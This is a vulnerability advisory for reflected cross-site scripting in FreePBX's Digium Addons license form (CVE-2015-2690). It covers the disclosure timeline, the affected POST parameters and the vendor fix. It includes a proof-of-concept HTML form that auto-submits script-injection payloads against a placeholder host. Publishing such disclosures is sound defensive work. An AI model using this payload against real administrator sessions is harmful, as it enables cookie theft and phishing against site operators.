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Multiple Cross-Site Scripting (XSS) in FreePBX

Advisory ID:HTB23253
Product:FreePBX
Vendor:Sangoma Technologies
Vulnerable Versions:12.0.43 and probably prior
Tested Version:12.0.43
Advisory Publication:March 18, 2015 [without technical details]
Vendor Notification:March 18, 2015
Vendor Fix:March 27, 2015
Public Disclosure:April 22, 2015
Latest Update:April 16, 2015
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2015-2690
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilities in FreePBX, which can be exploited to perform Cross-Site Scripting (XSS) attacks against web application administrators. This vulnerability can be used to steal administrator’s cookies, perform phishing and drive-by-download attacks.

1) Multiple XSS vulnerabilities in FreePBX: CVE-2015-2690

Input passed via multiple HTTP POST parameters to "/admin/config.php" script (when "type" is set to "setup", "display" is set to "digiumaddons", "page" is set to "add-license-form", and "addon" is set to "ffa") is not properly sanitised before being returned to the user. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

The vulnerable HTTP POST parameters are: "add_license_key", "add_license_first_name", "add_license_last_name", "add_license_company", "add_license_address1", "add_license_address2", "add_license_city", "add_license_state", "add_license_post_code", "add_license_country", "add_license_phone", and "add_license_email".

The exploitation example below will show JS pop-up displaying "ImmuniWeb":

<form action="http://[host]/admin/config.php?type=setup&display=digiumaddons&page= add-license-form&addon=ffa" method="post" name="main">
<input type="hidden" name="add_license_key" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_first_name" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_last_name" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_company" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address1" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_address2" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_city" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_state" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_post_code" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_country" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_phone" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_email" value='"><script>alert("ImmuniWeb");</script>'>
<input type="hidden" name="add_license_submit" value='Submit'>
<input type="submit" id="btn">
</form>
<script>document.main.submit()</script>

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Solution:
Update Digium Addons Module of FreePBX installation to version 2.11.0.7

More Information:
http://git.freepbx.org/projects/FREEPBX/repos/digiumaddoninstaller/commits/2aad006024b74c9ff53943d3e68527a3dffac855


References:
[1] High-Tech Bridge Advisory HTB23253 - https://www.immuniweb.com/advisory/HTB23253 - Reflected Cross-Site Scripting (XSS) in FreePBX.
[2] FreePBX - http://www.freepbx.org - FreePBX is as an open source, web-based PBX solution.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.
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